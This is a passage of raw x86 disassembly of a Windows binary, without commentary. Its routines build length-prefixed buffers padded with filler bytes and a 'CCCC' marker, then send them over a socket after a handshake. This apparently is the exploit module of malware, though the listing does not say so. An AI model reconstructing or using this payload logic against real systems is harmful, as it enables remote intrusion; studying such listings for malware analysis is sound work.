		push	eax
		call	sub_40E359
		pop	ecx


loc_40B9DA:				; CODE XREF: sub_40B9CA+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40B9CA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B9E3	proc near		; CODE XREF: sub_40BA6B+21p
					; sub_40BB40+8p ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jl	short loc_40B9F4
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40B9F4:				; CODE XREF: sub_40B9E3+Bj
		push	ebx
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		push	edi
		lea	ebx, [ebx+ebx+1]
		add	eax, ebx
		push	eax
		call	sub_40E74F
		mov	edi, eax
		test	edi, edi
		pop	ecx
		jnz	short loc_40BA15
		xor	al, al
		jmp	short loc_40BA67
; ---------------------------------------------------------------------------


loc_40BA15:				; CODE XREF: sub_40B9E3+2Cj
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		push	0
		push	edi
		call	sub_40D7B0
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40BA35
		mov	al, [esi+4]
		mov	[edi], al
		lea	eax, [edi+1]
		jmp	short loc_40BA4A
; ---------------------------------------------------------------------------


loc_40BA35:				; CODE XREF: sub_40B9E3+46j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		lea	eax, [edi+3]


loc_40BA4A:				; CODE XREF: sub_40B9E3+50j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	eax
		call	sub_40E3A0
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_40E359
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_40BA67:				; CODE XREF: sub_40B9E3+30j
		pop	edi
		pop	ebx
		pop	esi
		retn
sub_40B9E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA6B	proc near		; CODE XREF: sub_40BB9B+89p
					; sub_40BB9B+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	offset dword_419388
		call	sub_40B975
		lea	ecx, [ebp+var_8]
		call	sub_40B9E3
		mov	ebx, [ebp+var_4]
		inc	ebx
		push	ebx
		call	sub_40E74F
		mov	edi, eax
		test	edi, edi
		pop	ecx
		jnz	short loc_40BAA6
		xor	al, al
		jmp	short loc_40BADA
; ---------------------------------------------------------------------------


loc_40BAA6:				; CODE XREF: sub_40BA6B+35j
		push	ebx
		push	0
		push	edi
		call	sub_40D7B0
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		mov	byte ptr [edi],	3
		push	eax
		call	sub_40E3A0
		add	esp, 18h
		mov	ecx, esi
		call	sub_40B9CA
		lea	ecx, [ebp+var_8]
		mov	[esi+4], ebx
		mov	[esi], edi
		call	sub_40B9CA
		mov	al, 1


loc_40BADA:				; CODE XREF: sub_40BA6B+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40BA6B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BADF	proc near		; CODE XREF: sub_40BB13+14p
					; sub_40BB30+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		push	[ebp+arg_4]
		mov	esi, ecx
		push	[ebp+arg_0]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40B975
		mov	ecx, esi
		call	sub_40B9CA
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40BADF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BB13	proc near		; CODE XREF: sub_40BB9B+F0p
					; sub_40BB9B+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_40D630
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_40BADF
		pop	esi
		retn	4
sub_40BB13	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BB30	proc near		; CODE XREF: sub_40BB7C+Bp
					; sub_40BB9B+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40BADF
		retn	8
sub_40BB30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BB40	proc near		; CODE XREF: sub_40BB7C+16p
					; sub_40BB9B+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40B9E3
		test	al, al
		jz	short loc_40BB79
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	offset dword_419C64
		call	sub_40B975
		mov	ecx, esi
		call	sub_40B9CA
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_40BB79:				; CODE XREF: sub_40BB40+Fj
		pop	esi
		leave
		retn
sub_40BB40	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BB7C	proc near		; CODE XREF: sub_40BB9B+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_4]
		mov	esi, ecx
		push	[esp+8+arg_0]
		call	sub_40BB30
		test	al, al
		jz	short loc_40BB97
		mov	ecx, esi
		call	sub_40BB40


loc_40BB97:				; CODE XREF: sub_40BB7C+12j
		pop	esi
		retn	8
sub_40BB7C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BB9B	proc near		; CODE XREF: sub_40C878+88p

var_848		= byte ptr -848h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 848h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_38]
		call	sub_40B931
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40BEDF
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40BEDF
		push	esi
		lea	ecx, [ebp+var_28]
		call	sub_40B931
		lea	ecx, [ebp+var_8]
		call	sub_40B931
		lea	ecx, [ebp+var_40]
		call	sub_40B931
		lea	ecx, [ebp+var_10]
		call	sub_40B931
		lea	ecx, [ebp+var_30]
		call	sub_40B931
		lea	ecx, [ebp+var_20]
		call	sub_40B931
		lea	ecx, [ebp+var_18]
		call	sub_40B931
		push	4
		push	offset dword_41F9C0
		lea	ecx, [ebp+var_28]
		call	sub_40BADF
		push	3
		push	offset dword_41F9BC
		lea	ecx, [ebp+var_28]
		call	sub_40BADF
		lea	ecx, [ebp+var_28]
		call	sub_40BA6B
		lea	ecx, [ebp+var_28]
		call	sub_40BB40
		mov	esi, 800h
		push	esi
		lea	eax, [ebp+var_848]
		push	42h
		push	eax
		call	sub_40D7B0
		add	esp, 0Ch
		push	8
		push	offset byte_41F9B0
		lea	ecx, [ebp+var_8]
		call	sub_40BADF
		push	ebx
		push	[ebp+arg_C]
		lea	ecx, [ebp+var_8]
		call	sub_40BADF
		mov	eax, 409h
		sub	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_848]
		push	eax
		call	sub_40BADF
		lea	ecx, [ebp+var_8]
		call	sub_40BA6B
		push	offset loc_41B898
		lea	ecx, [ebp+var_40]
		call	sub_40BB13
		lea	ecx, [ebp+var_40]
		call	sub_40BA6B
		push	esi
		lea	eax, [ebp+var_848]
		push	44h
		push	eax
		call	sub_40D7B0
		add	esp, 0Ch
		push	410h
		lea	eax, [ebp+var_848]
		push	eax
		lea	ecx, [ebp+var_48]
		call	sub_40B93B
		lea	ecx, [ebp+var_48]
		call	sub_40BA6B
		push	[ebp+var_44]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_48]
		call	sub_40BB7C
		lea	ecx, [ebp+var_48]
		call	sub_40B9CA
		push	esi
		lea	eax, [ebp+var_848]
		push	43h
		push	eax
		call	sub_40D7B0
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_10]
		call	sub_40BB13
		push	4
		push	offset dword_41F9A8
		lea	ecx, [ebp+var_10]
		call	sub_40BADF
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_10]
		push	[ebp+arg_4]
		call	sub_40BADF
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_848]
		push	edi
		push	eax
		lea	ecx, [ebp+var_10]
		call	sub_40BADF
		lea	ecx, [ebp+var_10]
		call	sub_40BA6B
		push	[ebp+var_C]
		lea	ecx, [ebp+var_30]
		push	[ebp+var_10]
		call	sub_40BB30
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_30]
		push	[ebp+var_40]
		call	sub_40BB30
		lea	ecx, [ebp+var_30]
		call	sub_40BB40
		lea	ecx, [ebp+var_10]
		call	sub_40B9CA
		lea	ecx, [ebp+var_40]
		call	sub_40B9CA
		push	[ebp+var_4]
		lea	ecx, [ebp+var_20]
		push	[ebp+var_8]
		call	sub_40BB30
		push	[ebp+var_24]
		lea	ecx, [ebp+var_20]
		push	[ebp+var_28]
		call	sub_40BB30
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_20]
		push	[ebp+var_30]
		call	sub_40BB30
		lea	ecx, [ebp+var_20]
		call	sub_40BB40
		lea	ecx, [ebp+var_8]
		call	sub_40B9CA
		lea	ecx, [ebp+var_28]
		call	sub_40B9CA
		lea	ecx, [ebp+var_30]
		call	sub_40B9CA
		push	esi
		lea	eax, [ebp+var_848]
		push	41h
		push	eax
		call	sub_40D7B0
		add	esp, 0Ch
		push	400h
		lea	eax, [ebp+var_848]
		push	eax
		lea	ecx, [ebp+var_18]
		call	sub_40BADF
		lea	ecx, [ebp+var_18]
		call	sub_40BA6B
		push	2
		push	offset dword_41B88C
		lea	ecx, [ebp+var_18]
		call	sub_40BADF
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_18]
		push	[ebp+var_20]
		call	sub_40BB30
		lea	ecx, [ebp+var_18]
		call	sub_40BB40
		lea	ecx, [ebp+var_20]
		call	sub_40B9CA
		lea	ecx, [ebp+var_10]
		call	sub_40B931
		lea	ecx, [ebp+var_8]
		call	sub_40B931
		push	[ebp+var_14]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_18]
		call	sub_40BB30
		lea	ecx, [ebp+var_10]
		call	sub_40B9E3
		lea	ecx, [ebp+var_18]
		call	sub_40B9CA
		push	offset dword_41B888
		lea	ecx, [ebp+var_8]
		call	sub_40BB13
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40BB30
		lea	ecx, [ebp+var_8]
		call	sub_40B9E3
		lea	ecx, [ebp+var_10]
		call	sub_40B9CA
		push	offset a0	; "0"
		lea	ecx, [ebp+var_10]
		call	sub_40BB13
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40BB30
		lea	ecx, [ebp+var_10]
		call	sub_40B9E3
		lea	ecx, [ebp+var_8]
		call	sub_40B9CA
		push	offset dword_41B87C
		lea	ecx, [ebp+var_8]
		call	sub_40BB13
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40BB30
		lea	ecx, [ebp+var_8]
		call	sub_40B9E3
		lea	ecx, [ebp+var_10]
		call	sub_40B9CA
		push	offset asc_41B878 ; "`"
		lea	ecx, [ebp+var_38]
		call	sub_40BB13
		push	[ebp+var_4]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_8]
		call	sub_40BB30
		lea	ecx, [ebp+var_8]
		call	sub_40B9CA
		pop	esi


loc_40BEDF:				; CODE XREF: sub_40BB9B+1Bj
					; sub_40BB9B+29j
		mov	ecx, [ebp+var_38]
		mov	eax, [ebp+arg_0]
		mov	[eax], ecx
		mov	ecx, [ebp+var_34]
		pop	edi
		mov	[eax+4], ecx
		pop	ebx
		leave
		retn
sub_40BB9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BEF1	proc near		; CODE XREF: sub_40BFB5+A1p
					; sub_40BFB5+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	[ebp+var_4], 0
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		push	0
		lea	eax, [ebp+var_10C]
		push	eax
		xor	edi, edi
		lea	eax, [esi+1]
		inc	edi
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	dword_419214	; select
		cmp	eax, edi
		jnz	short loc_40BF58
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_40D60A	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_40BF5C


loc_40BF58:				; CODE XREF: sub_40BEF1+54j
		xor	eax, eax
		jmp	short loc_40BF6C
; ---------------------------------------------------------------------------


loc_40BF5C:				; CODE XREF: sub_40BEF1+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4C45F4


loc_40BF6C:				; CODE XREF: sub_40BEF1+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40BEF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BF70	proc near		; CODE XREF: sub_40BFB5+81p
					; sub_40BFB5+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_4C47B8
		push	0
		mov	[ebp+var_4], eax
		push	4
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	dword_4C4724
		cmp	eax, 4
		jz	short loc_40BF9A
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40BF9A:				; CODE XREF: sub_40BF70+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4C4724
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40BF70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFB5	proc near		; CODE XREF: sub_40C08F+48p
					; sub_40C878+157p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_40E74F
		mov	esi, eax
		test	esi, esi
		pop	ecx
		jnz	short loc_40BFDE
		xor	al, al
		jmp	loc_40C08A
; ---------------------------------------------------------------------------


loc_40BFDE:				; CODE XREF: sub_40BFB5+20j
		push	ebx
		push	0
		push	esi
		call	sub_40D7B0
		push	2Fh
		push	offset dword_41FA5C
		push	esi
		call	sub_40E3A0
		push	8
		lea	eax, [esi+31h]
		push	offset dword_41FA50
		push	eax
		mov	[esi+2Fh], di
		call	sub_40E3A0
		push	edi
		push	[ebp+arg_4]
		lea	ebx, [esi+3Bh]
		push	ebx
		mov	[esi+39h], di
		call	sub_40E3A0
		push	6
		push	offset dword_4C58BC
		add	ebx, edi
		push	ebx
		call	sub_40E3A0
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_41F9C8
		push	ebx
		call	sub_40BF70
		add	esp, 48h
		test	al, al
		jnz	short loc_40C046


loc_40C042:				; CODE XREF: sub_40BFB5+B5j
		xor	bl, bl
		jmp	short loc_40C081
; ---------------------------------------------------------------------------


loc_40C046:				; CODE XREF: sub_40BFB5+8Bj
		push	0
		mov	edi, 100h
		push	edi
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	sub_40BEF1
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_40BF70
		add	esp, 1Ch
		test	al, al
		jz	short loc_40C042
		push	0
		push	edi
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	sub_40BEF1
		add	esp, 10h
		mov	bl, 1


loc_40C081:				; CODE XREF: sub_40BFB5+8Fj
		push	esi
		call	sub_40E359
		pop	ecx
		mov	al, bl


loc_40C08A:				; CODE XREF: sub_40BFB5+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40BFB5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C08F	proc near		; CODE XREF: sub_40C878+13Dp

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_41FA90
		push	[ebp+arg_0]
		call	dword_419258	; send
		cmp	eax, 48h
		jnz	short loc_40C0CA
		push	0
		push	20h
		lea	eax, [ebp+var_20]
		push	eax
		push	[ebp+arg_0]
		call	sub_40BEF1
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40C0CA
		cmp	[ebp+var_20], 82h
		jz	short loc_40C0CE


loc_40C0CA:				; CODE XREF: sub_40C08F+1Bj
					; sub_40C08F+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40C0CE:				; CODE XREF: sub_40C08F+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40BFB5
		add	esp, 0Ch
		leave
		retn
sub_40C08F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C0E1	proc near		; CODE XREF: sub_40C62F+29p

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		shl	eax, 3
		test	eax, eax
		mov	[ebp+arg_0], eax
		fild	[ebp+arg_0]
		jge	short loc_40C0FC
		fadd	dbl_419F58


loc_40C0FC:				; CODE XREF: sub_40C0E1+13j
		fmul	dbl_41B8B0
		call	sub_40E2E4
		test	eax, eax
		mov	[ebp+arg_0], eax
		fild	[ebp+arg_0]
		jge	short loc_40C117
		fadd	dbl_419F58


loc_40C117:				; CODE XREF: sub_40C0E1+2Ej
		fst	[ebp+var_8]
		push	ecx
		fmul	dbl_41B8A8
		push	ecx
		fstp	[esp+10h+var_10]
		call	sub_40F5A0
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_40E2E4
		inc	eax
		leave
		retn
sub_40C0E1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C139	proc near		; CODE XREF: sub_40C448+Bp
					; sub_40C567+Bp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx+18h]
		cmp	esi, 10h
		lea	eax, [ecx+4]
		jb	short loc_40C149
		mov	edx, [eax]
		jmp	short loc_40C14B
; ---------------------------------------------------------------------------


loc_40C149:				; CODE XREF: sub_40C139+Aj
		mov	edx, eax


loc_40C14B:				; CODE XREF: sub_40C139+Ej
		cmp	edx, [esp+4+arg_0]
		ja	short loc_40C168
		cmp	esi, 10h
		jb	short loc_40C158
		mov	eax, [eax]


loc_40C158:				; CODE XREF: sub_40C139+1Bj
		mov	ecx, [ecx+14h]
		add	ecx, eax
		cmp	[esp+4+arg_0], ecx
		jnb	short loc_40C168
		xor	eax, eax
		inc	eax
		jmp	short loc_40C16A
; ---------------------------------------------------------------------------


loc_40C168:				; CODE XREF: sub_40C139+16j
					; sub_40C139+28j
		xor	eax, eax


loc_40C16A:				; CODE XREF: sub_40C139+2Dj
		pop	esi
		retn	4
sub_40C139	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C16E	proc near		; CODE XREF: sub_40C18A+24p
					; sub_40C1BF+94p ...

arg_0		= dword	ptr  4

		cmp	dword ptr [ecx+18h], 10h
		mov	eax, [esp+arg_0]
		mov	[ecx+14h], eax
		jb	short loc_40C180
		mov	ecx, [ecx+4]
		jmp	short loc_40C183
; ---------------------------------------------------------------------------


loc_40C180:				; CODE XREF: sub_40C16E+Bj
		add	ecx, 4


loc_40C183:				; CODE XREF: sub_40C16E+10j
		and	byte ptr [ecx+eax], 0
		retn	4
sub_40C16E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C18A	proc near		; CODE XREF: .text:0040C1B9p
					; sub_40C1BF+84p ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_40C1A3
		cmp	dword ptr [esi+18h], 10h
		jb	short loc_40C1A3
		push	dword ptr [esi+4]
		call	sub_40F6C1
		pop	ecx


loc_40C1A3:				; CODE XREF: sub_40C18A+8j
					; sub_40C18A+Ej
		push	0
		mov	ecx, esi
		mov	dword ptr [esi+18h], 0Fh
		call	sub_40C16E
		pop	esi
		retn	4
sub_40C18A	endp

; ---------------------------------------------------------------------------


loc_40C1B7:				; CODE XREF: .text:00417FF4j
					; .text:00418006j ...
		push	1
		call	sub_40C18A
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40C1BF	proc near		; CODE XREF: sub_40C27D+26p
		mov	eax, offset loc_417FE7
		call	sub_40F234
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 0Fh
		cmp	edi, 0FFFFFFFEh
		mov	esi, ecx
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_40C1E5
		mov	edi, [ebp+8]


loc_40C1E5:				; CODE XREF: sub_40C1BF+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+1]
		push	eax
		call	sub_40F6C6
		pop	ecx
		mov	ebx, eax
		jmp	short loc_40C21E
; ---------------------------------------------------------------------------


loc_40C1F7:				; DATA XREF: .text:0041CAF0o
		mov	eax, [ebp+8]
		mov	[ebp+8], eax
		inc	eax
		mov	[ebp-10h], esp
		push	eax
		mov	byte ptr [ebp-4], 2
		call	sub_40F6C6
		mov	[ebp-18h], eax
		pop	ecx
		mov	eax, offset loc_40C215
		retn
; ---------------------------------------------------------------------------


loc_40C215:				; DATA XREF: sub_40C1BF+50o
		mov	esi, [ebp-14h]
		mov	edi, [ebp+8]
		mov	ebx, [ebp-18h]


loc_40C21E:				; CODE XREF: sub_40C1BF+36j
		cmp	dword ptr [ebp+0Ch], 0
		jbe	short loc_40C23F
		cmp	dword ptr [esi+18h], 10h
		jb	short loc_40C22F
		mov	eax, [esi+4]
		jmp	short loc_40C232
; ---------------------------------------------------------------------------


loc_40C22F:				; CODE XREF: sub_40C1BF+69j
		lea	eax, [esi+4]


loc_40C232:				; CODE XREF: sub_40C1BF+6Ej
		push	dword ptr [ebp+0Ch]
		push	eax
		push	ebx
		call	sub_40E3A0
		add	esp, 0Ch


loc_40C23F:				; CODE XREF: sub_40C1BF+63j
		push	1
		mov	ecx, esi
		call	sub_40C18A
		push	dword ptr [ebp+0Ch]
		mov	ecx, esi
		mov	[esi+4], ebx
		mov	[esi+18h], edi
		call	sub_40C16E
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	8
sub_40C1BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C269	proc near		; DATA XREF: .text:0041CAE0o
		mov	ecx, [ebp-14h]
		push	1
		call	sub_40C18A
		push	0
		push	0
		call	sub_40F6D4
		int	3		; Trap to Debugger
sub_40C269	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40C27D	proc near		; CODE XREF: sub_40C2D9+48p
					; sub_40C36E+61p ...

arg_0		= dword	ptr  4
arg_8		= byte ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		cmp	edi, 0FFFFFFFEh
		mov	esi, ecx
		jbe	short loc_40C28F
		call	sub_417E2C


loc_40C28F:				; CODE XREF: sub_40C27D+Bj
		xor	eax, eax
		cmp	[esi+18h], edi
		jnb	short loc_40C2AA
		cmp	[esp+4+arg_8], al
		jnz	short loc_40C29F
		mov	eax, [esi+14h]


loc_40C29F:				; CODE XREF: sub_40C27D+1Dj
		push	eax
		push	edi
		mov	ecx, esi
		call	sub_40C1BF
		jmp	short loc_40C2CC
; ---------------------------------------------------------------------------


loc_40C2AA:				; CODE XREF: sub_40C27D+17j
		cmp	[esp+4+arg_8], al
		jz	short loc_40C2C0
		cmp	edi, 10h
		jnb	short loc_40C2C0
		push	1
		mov	ecx, esi
		call	sub_40C18A
		jmp	short loc_40C2CC
; ---------------------------------------------------------------------------


loc_40C2C0:				; CODE XREF: sub_40C27D+31j
					; sub_40C27D+36j
		cmp	edi, eax
		jnz	short loc_40C2CC
		push	eax
		mov	ecx, esi
		call	sub_40C16E


loc_40C2CC:				; CODE XREF: sub_40C27D+2Bj
					; sub_40C27D+41j ...
		xor	eax, eax
		cmp	eax, edi
		sbb	eax, eax
		pop	edi
		neg	eax
		pop	esi
		retn	8
sub_40C27D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C2D9	proc near		; CODE XREF: sub_40C448+2Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		cmp	[ebx+14h], edi
		mov	esi, ecx
		jnb	short loc_40C2F1
		call	sub_417D91


loc_40C2F1:				; CODE XREF: sub_40C2D9+11j
		mov	eax, [ebx+14h]
		sub	eax, edi
		cmp	eax, [ebp+arg_8]
		jnb	short loc_40C2FE
		mov	[ebp+arg_8], eax


loc_40C2FE:				; CODE XREF: sub_40C2D9+20j
		or	eax, 0FFFFFFFFh
		sub	eax, [esi+14h]
		cmp	eax, [ebp+arg_8]
		ja	short loc_40C310
		mov	ecx, esi
		call	sub_417E2C


loc_40C310:				; CODE XREF: sub_40C2D9+2Ej
		cmp	[ebp+arg_8], 0
		jbe	short loc_40C365
		mov	edi, [esi+14h]
		add	edi, [ebp+arg_8]
		push	0
		push	edi
		mov	ecx, esi
		call	sub_40C27D
		test	al, al
		jz	short loc_40C365
		cmp	dword ptr [ebx+18h], 10h
		jb	short loc_40C335
		mov	ebx, [ebx+4]
		jmp	short loc_40C338
; ---------------------------------------------------------------------------


loc_40C335:				; CODE XREF: sub_40C2D9+55j
		add	ebx, 4


loc_40C338:				; CODE XREF: sub_40C2D9+5Aj
		cmp	dword ptr [esi+18h], 10h
		jb	short loc_40C343
		mov	eax, [esi+4]
		jmp	short loc_40C346
; ---------------------------------------------------------------------------


loc_40C343:				; CODE XREF: sub_40C2D9+63j
		lea	eax, [esi+4]


loc_40C346:				; CODE XREF: sub_40C2D9+68j
		mov	ecx, [ebp+arg_4]
		push	[ebp+arg_8]
		add	ebx, ecx
		mov	ecx, [esi+14h]
		add	ecx, eax
		push	ebx
		push	ecx
		call	sub_40E3A0
		add	esp, 0Ch
		push	edi
		mov	ecx, esi
		call	sub_40C16E


loc_40C365:				; CODE XREF: sub_40C2D9+3Bj
					; sub_40C2D9+4Fj
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40C2D9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C36E	proc near		; CODE XREF: sub_40C4D8+33p
					; sub_40C4D8+3Fp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+14h], esi
		jnb	short loc_40C382
		call	sub_417D91


loc_40C382:				; CODE XREF: sub_40C36E+Dj
		mov	eax, [edi+14h]
		sub	eax, esi
		cmp	eax, [ebp+arg_4]
		jnb	short loc_40C38F
